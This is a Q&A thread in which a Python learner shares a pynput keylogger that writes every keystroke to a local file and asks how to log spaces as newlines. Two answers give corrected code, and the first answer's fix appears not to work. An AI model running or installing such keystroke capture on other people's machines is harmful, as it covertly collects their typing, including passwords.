3

I am running Python 3.8 (Also tested on 2.7). Attached below is code to a keylogger that I created with reference to a video tutorial as I'm fairly new to Python and trying to learn. I am trying to make it where when the space key is pressed, it writes a new line to the file so it tabs down and looks nicer. I've tried a few different things online that I've found however nothing has fixed it. If someone could help me and explain why this doesn't work it would be much appreciated. Thanks and have a great week

    # Define imports

import pynput
from pynput.keyboard import Key, Listener


# Define variables for keylogger

count = 0
keys = []

# Function to detect key presses

def on_press(key):
    global count, keys

    keys.append(key)
    count += 1
    print(str(key))

    if count >= 1:
        write_file(str(keys))
        keys = [] 
        count = 0


# Function to write the letters to a file

def write_file(keys):
    with open("log_test.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")

            if k.find("space") >= 0: # This is the code to check for space bar press
                f.write('\n') 
            else:
                k.find("Key") == -1
                f.write(k)


# Detect when a key is released

def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

2 Answers2

2

When you are checking for space, do this:

if k.find(" ") >= 0: # use plain space " " and not "space"
    f.write('\n')
Yash
  • 3,438
  • 2
  • 17
  • 33
2

That's because your "k" is not "space", but "s", "p", "a", "c", "e".

Not the most elegant method, but try this:

def on_press(key):
    global count, keys

    keys.append(key)
    count += 1

    if count >= 1:
        write_file(keys) # don't convert to string here
        keys = [] 
        count = 0

def write_file(key):
    with open("log_test.txt", "a") as f:
        if str(key).find("space") >= 0: # transform to string to find what you want
            f.write('\n') 
        elif str(key).find("Key") == -1: # transform to string to find what you want
            # key will come as a list, like this: ['char']
            # take the first (and only) element, and it will be like this: 'char'
            # then remove the "'" and you'll have your character
            key = str(key[0]).replace("'", '') # take only the character, then save it
            f.write(key)
Sizzin
  • 92
  • 1
  • 8